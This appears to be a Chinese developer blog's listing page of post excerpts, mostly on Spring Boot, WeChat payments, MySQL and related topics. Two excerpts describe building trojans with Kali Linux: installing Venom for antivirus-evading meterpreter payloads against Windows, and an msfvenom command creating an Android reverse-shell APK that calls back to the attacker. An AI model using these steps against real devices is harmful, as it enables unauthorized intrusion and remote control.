- 博客(40)
- 资源 (15)
- 收藏
- 关注
原创 java SpringBoot 使用ijpay对接微信支付-商家转账到零钱
使用ijpay对接微信支付-商家转账到零钱,调用微信支付V3接口, 微信支付v3接口回调方法
2024-09-03 16:15:09 659
原创 Win11开机无输入法解决方法或只能输入英文不能切换的解决方案
将ctfmon.exe 创建快捷方式然后将快捷方式放到C:\Users\用户\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 目录下。临时解决办法:1、按 Win + R 快捷键,输入“ctfmon.exe”,按下回车键即可打开输入法。这个问题应该是ctfmon.exe程序没有正常的开机自启动导致的。永久解决办法:设置开机启动ctfmon.exe。重启后又会恢复到无输入法状态。
2024-08-07 14:23:09 392
原创 项目Table ‘XXX.qrtz_LOCKS‘ doesn‘t exist问题解决,mysql8 安装以及配置大小写不敏感
问题描述:在若依Springboot项目启动时出现了Table ‘XXX.qrtz_LOCKS‘ doesn‘t exist的问题需要配置Mysql 大小写不敏感,但是直接修改my.cnf后, 无法启动服务。
2024-03-19 14:07:13 1137
原创 抖音弹幕,点赞,关注 protocol 分析
返回效果代码分析import timefrom . import message_pb2from .base import Base#普通弹幕class ChatMessage(Base): def __init__(self): self.instance = message_pb2.ChatMessage() def format_content(self): return self.user().nickname + ': .
2022-05-04 10:01:50 3259 2
原创 使用html canvas制作简易画板
程序演示效果关键代码刨析1、关于canvas导入图片导入图片时出现了,canvas加载图片需要二次刷新的问题解决如下 var imgurl = $(this).find('img').attr('src'); var img = new Image() img.crossOrigin = '*' img.src = imgurl; if (img.complete) { // 如果图片已经存在于浏览器缓存,直接调用回调函数 ctx.drawImage
2021-06-28 11:24:59 427
原创 Nginx下反向代理部署Spring Boot后WebSocket链接失败问题
问题记录:本地socket测试无误后部署发现WebSocket connection to "xxx/x"failed
2021-06-07 17:03:43 639
原创 项目启动出现Table ‘XXX.qrtz_LOCKS‘ doesn‘t exist处理办法
问题描述:在启动项目时出现springboot Failure obtaining db row lock: Table ‘XX.QRTZ_LOCKS’ doesn’t exist
2021-06-01 16:10:12 8039
原创 微信小程序上传文件至阿里云OSS直传(java后端签名+前端直传)
问题描述:通用上传方法都是有前端上传至服务器,再由服务器转存至对象存储。这种方法在小文件图片以及音频传输速度较为可以,但针对于大文件上传时,由于收服务器带块影响速度极慢,后使用对象存储分片上传虽然解决了服务器至oss的时间,但前端值服务器的传输过程还是收带宽影响;通常阿里云ECS带宽5M计算的话100MB*8=800Mb/5Mbps=160秒,所以100MB大小的文件如果是满带宽上传到服务器要160秒,所以速度相当慢。解决方式:使用后端签名小程序直传方式跳过服务器转存。操作方式如下。阿里云OSS文.
2021-03-26 11:21:00 2599
原创 关于Mybatis传入Array类型参数与其他多参数报错问题解决
错误日志:Parameter 'array' not found. Available parameters are [Iid, param1, Sid, param2]",解决方案:<select id="SelectVipCenter" parameterType="String" resultMap="WxSubjectsResult"> SELECT * FROM wx_introduce WHERE wx_subjects.subj.
2021-01-05 11:29:31 461 1
原创 线程中不能使用 @Autowired 注入对象从而导致 java.lang.NullPointerException
问题描述:线程中调用service 处理具体的业务,在多线程时使用@Autowired总是获取不到bean,原因是:new thread不在spring容器中,也就无法获得spring中的bean对象。解决办法:通过SpringBeanUtil类在ApplicationContext中获取bean,再加上@Configuration注解在SpringBoot启动时就加载此类package com.foo.web.controller.api;import com.foo.wechat.s.
2020-12-29 14:08:47 341
原创 SpringBoot接入Redis万能方法
映入所需Maven<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-redis</artifactId> <version>1.4.1.RELEASE</version></dependency>导入RedisConfig类并修改相关参数package com.foo
2020-12-29 14:00:26 188
原创 类似微信朋友圈评论回复功能表设计、代码实现
一、数据库表设计评论表:(如下图)注:1、comment_type字段针对于程序设计多个不同功能下单评论区分 2、comment_pic字段用于存储评论图片时使用回复表:(如下图)注:1、reply_type字段与评论中的comment_type字段用法一致以上为数据库设计, 整体的关键与两表的time字段, 是做评论排序的核心所在二、代码实现评论实体类package com.foo.wechat.domain;import java.util....
2020-11-11 10:23:19 3506 7
原创 利用kali Linux使用meterpreter制作免杀木马测试入侵windows电脑
前言:常规使用meterpreter制作木马时会被各大杀毒软件所拦截,固本文介绍一下利用meterpreter下的Venom制作免杀木马。首先安装VenomVenon克隆地址:https://github.com/r00t-3xp10it/venomtar.gz OR zip OR git clone2.赋予文件可执行权限:cd venom-mainsudo chmod -R +x *.sh3.安装依赖关系包:cd auxsudo ./setup.sh4.运行sudo.
2020-10-26 15:02:49 5759 7
原创 Easypush微信消息推送——打破传统的消息推送方式
通过使用EasyPush实现信息推送Easy push从1.1.0(发行版)开始,进行行业模块分析,致力于高效下服务消息推送,将原先常见的推送开发模式统一封装,实现多种推送方式,目前仍在不断研发,在提服务提醒领域更加智能化 (不定时更新)Easy push是一个可以快速打造您的程序提醒服务的应用,主要目的让应用提醒更加全面,降低技术难度,缩短项目周期,提高消息推送质量。目前Easy push 支持用户活码生成,消息群发、单发以及更具特定用户群体发送。为何要选择使用EasyPush 一站
2020-10-21 11:21:59 653
原创 python开发图片批量添加水印工具
应业务需求使用python开发图片批量添加水印工具import tkinterimport argparseimport osimport sysimport mathimport randomimport globfrom PIL import Image, ImageFont, ImageDraw, ImageEnhance, ImageChopsTTF_FONT = u'./font/bird.ttf'def add_mark(imagePath, mark, ar.
2020-09-03 19:36:45 259
原创 使用openLayer加载KML,加载本地瓦片并添加标注创建点击事件
一、准备工作从官网下载所需的包https://openlayers.org/二、下载瓦片地图这边使用迈高图下载的高德街道地图,仅下载了某个区域 下面以此区域为例:甘南藏族自治州下载后的文件结构预览其中保函瓦片影像以及所选区域的KML三、开始正文引入openLayer包<link rel="stylesheet" type="text/css" href="cs/ol.css" /><script src="js/ol.js"></sc
2020-08-10 13:22:32 1287
原创 springboot捕获Tomcat日志到前端显示
操作指引:logController.java、//页面跳转控制器MyLogBackAppender.java、//日志配置WebSocketConfig.java //注入beanWebSocketController.java //socket控制器操作步骤:首先在项目中加入logback-spring.xml日志配置<?xml version="1.0" encoding="UTF-8"?><configuration> <!--
2020-07-29 19:28:57 1093
原创 tomcat服务器中部署多个域名SSL证书
准备工作首先下载tomcat证书文件 一个是pfx文件、一个是密码文件,通过执行命令得到 jks文件获取jks文件命令(cmd执行即可)keytool -importkeystore -srckeystore *.pfx -destkeystore *.jks -srcstoretype PKCS12 -deststoretype JKS开始配置Tomcat在conf目录下找到server.xml文件并修改Connector节点如下<Connector port="443"
2020-07-23 14:17:24 907
原创 前端使用HTML实现商城sku效果
引言在商城业务中经常会遇到商品对规格多属性的情况,由于商品SKU模块算法较为复杂开发难度相对较大,但SKU模块是各个商城间高度可重用的模块,因此开发此插件,可应用与快速合成商品SKU的添加与编辑。此项目为HTML开发,无需导入其他任何依赖仓库地址:https://gitee.com/WuHaojavaCode/Product-SKU实现效果使用方法将源码克隆下载后直接导入之项目目录下即可使用SKU初始化加载已有属性所在文件 index.jsdata: function() {.
2020-07-17 08:32:56 1891 2
原创 1130 - Host XXX is not allowed to connect to this MySQL server 错误解决
问题:服务器安装mysql5.7后本地连接出现1130错误--解决步骤--1、服务器登录mysqlmysql -u root -p2、依次执行如下命令:use mysql; select host from user where user='root';3、修改Host设置为通配符%update user set host = '%' where user =...
2020-04-23 17:57:18 263
原创 Java 8新特性之数组集合的常用操作
一、数组及arrays类对数组操作 int[] a1 = new int[] {4,3,2,1}; int[] a2 = new int[] {6,5,7,8}; //排序 升序 Arrays.sort(a1); System.out.println("对a1数组进行排序结果为...
2020-03-12 15:03:18 442
原创 微信支付时出现字节的 UTF-8 序列的字节 1 无效。 Nested exception: 1 字节的 UTF-8 序列的字节 1 无效。
异常提示解决前String request = WXUtil.httpRequest("https://api.mch.weixin.qq.com/pay/unifiedorder", "POST", param); Map<String, String> map = new HashMap<String, String>(); // ...
2020-01-15 11:41:15 838
原创 BigDecimal加减乘除计算(金额计算辅助类)
由于在程序中经常做到金额的运算, 所以针对每次都需要进行类型的转换造成重复操作的问题,整理了BigDecimal的常用操作工具类。该辅助类包含加法、减法、乘法、除法以及取余运算四舍五入方式、直接删除多余的小数位、进位处理、四舍五入(5则向上入)、四舍五入(5则向下舍)BigDecimal的运算辅助类package com.ruoyi.web.pay.config;impo...
2019-11-08 19:17:57 891 1
原创 Java生成微信小程序分销海报图
第一步:授权获取小程序二维码https://blog.csdn.net/weixin_37545129/article/details/88699623第二步:准备好二维码背景图存放到本地文件夹中第三步:开始绘图package com.ruoyi.web.pay.config;import java.awt.BasicStroke;import java.awt.Color...
2019-10-26 17:03:02 1622
原创 使用Kali linux生成木马入侵局域网安卓手机
1、首先查看本机ip,这里我本机IP地址为192.168.0.1052、生成木马msfvenom -p android/meterpreter/reverse_tcp LHOST=你kali的ip LPORT=5555 R > /root/apk.apk输入上述命令生成木马,这里的5555是设置的端口,也可以自己更改,显示这个说明已经生成成功 只有9K多大小3、启动ms...
2019-04-02 19:45:47 20215 38
原创 Android使用NotificationManager进行消息推送
首先,发送一个状态栏通知必须用到两个类:NotificationManager、Notification。NotificationManager:是状态栏通知的管理类,负责发通知、清楚通知等。NotificationManager是一个系统Service,必须通过getSystemService()方法来获取。NotificationManagernm=(NotificationMana...
2019-03-29 12:23:41 2065
原创 SpringBoot 使用 Future 实现多任务并行
1、先来说一下java中的Future模式 在并发编程中,我们经常用到非阻塞的模型,在之前的多线程的三种实现中,不管是继承thread类还是实现runnable接口,都无法保证获取到之前的执行结果。通过实现Callback接口,并用Future可以来接收多线程的执行结果。Future表示一个可能还没有完成的异步任务的结果,针对这个结果可以添加Callback以便...
2019-03-25 16:57:21 13669 2
原创 SpringBoot+Mybatis+Maven项目搭建详解
为实现项目的快速高效地开发,采取合适的框架尤为重要。利用SpringBoot+Mybatis框架可以达到快速高效开发的目的。那么如何建立一个这样的项目呢?现在就来看一下实际操作流程:开发工具:Eclipse2018框架:Spring Boot 、Mybatis 、Maven数据库:Mysql5.1项目demo地址:https://download.csdn.net...
2019-03-23 14:02:59 1758
原创 MyEclipse/Eclipse远程调试 Tomcat服务器配置说明
1.首先配置tomcat服务器:找到服务器下tomcat中bin目录下的catalina.bat文件(若tomcat为安装版则bin文件夹没有这些文件,可以再下载一个免安装版,把里面的文件拉过来即可)找到文件后右键进行编辑加入如下代码:SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdw...
2019-03-21 16:43:36 252
原创 Java获取小程序带参二维码(太阳码)
获取小程序码官方API地址 :https://developers.weixin.qq.com/miniprogram/dev/api/qrcode.html首先使用官方提供的接口B:适用于需要的码数量极多的业务场景https://api.weixin.qq.com/wxa/getwxacodeunlimit?access_token=ACCESS_TOKENPOST 参数说...
2019-03-20 21:11:53 5245 8
原创 Android客户端与java服务器端的Socket连接
1.首先直接看服务器端代码:import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.IOException; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.ne...
2019-03-20 17:16:31 933 4
原创 mysql 查询当天、本周,本月,上一个月的数据
今天select * from 表名 where to_days(时间字段名) = to_days(now());昨天SELECT * FROM 表名 WHERE TO_DAYS( NOW( ) ) - TO_DAYS( 时间字段名) <= 1近7天SELECT * FROM 表名 where DATE_SUB(CURDATE(), INTERVAL 7 DAY) ...
2019-03-19 17:27:14 166
原创 Spring Boot集成持久化Quartz定时任务管理
首先在项目pom.xml中添加Quartz依赖 <dependency> <groupId>org.quartz-scheduler</groupId> <artifactId>quartz</artifactId> <version>...
2019-03-19 16:07:18 505
原创 SSM框架下实现小程序模板消息推送并实行将用户信息保存至MySQL
控制器部分MessboxController.javapackage com.Takeaway.controller;import java.io.UnsupportedEncodingException;import java.util.HashMap;import java.util.List;import java.util.Map;import javax.annot...
2019-03-19 15:58:04 612 1
原创 SSM框架下实现小程序微信支付功能
控制器部分WeixinController.javapackage com.WeChatpayment.controller;import com.WeChatpayment.pojo.Json;import com.WeChatpayment.pojo.OAuthJsToken;import com.WeChatpayment.pojo.WxPayConfig;impor...
2019-03-19 15:52:34 1184 4
原创 SSM后台框架下配合实现小程序图片上传至阿里云OOS
控制器接收小程序上传的图片@RequestMapping(value = "/picture3.html", method = RequestMethod.POST) @ResponseBody public JSONArray uploadPicture(HttpServletRequest request, HttpServletResponse ...
2019-03-19 15:43:59 373
原创 调用百度AI开放平台的接口实现自然语言情感分析
为了实现对评论内容的分析,筛选出好评与差评,调研百度AI自然语言的情感倾向分析接口package com.Takeaway.tools;import java.util.HashMap;import com.baidu.aip.nlp.AipNlp;import com.google.gson.JsonArray;import com.google.gson.JsonObjec...
2019-03-19 15:39:07 2474 7
原创 分享几个针对微信的Python小工具
用Python实现向微信用户发送每日一句# -*- coding:utf-8 -*-from __future__ import unicode_literalsfrom threading import Timerfrom wxpy import *import requests#bot = Bot()#bot = Bot(console_qr=2,cache_path="bo...
2019-03-19 15:35:00 536
add-watermark-in-batches.zip
2020-09-05
setupTime.zip
2020-05-09
Tomcat6.0-8.5免安裝版本
2019-03-19
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人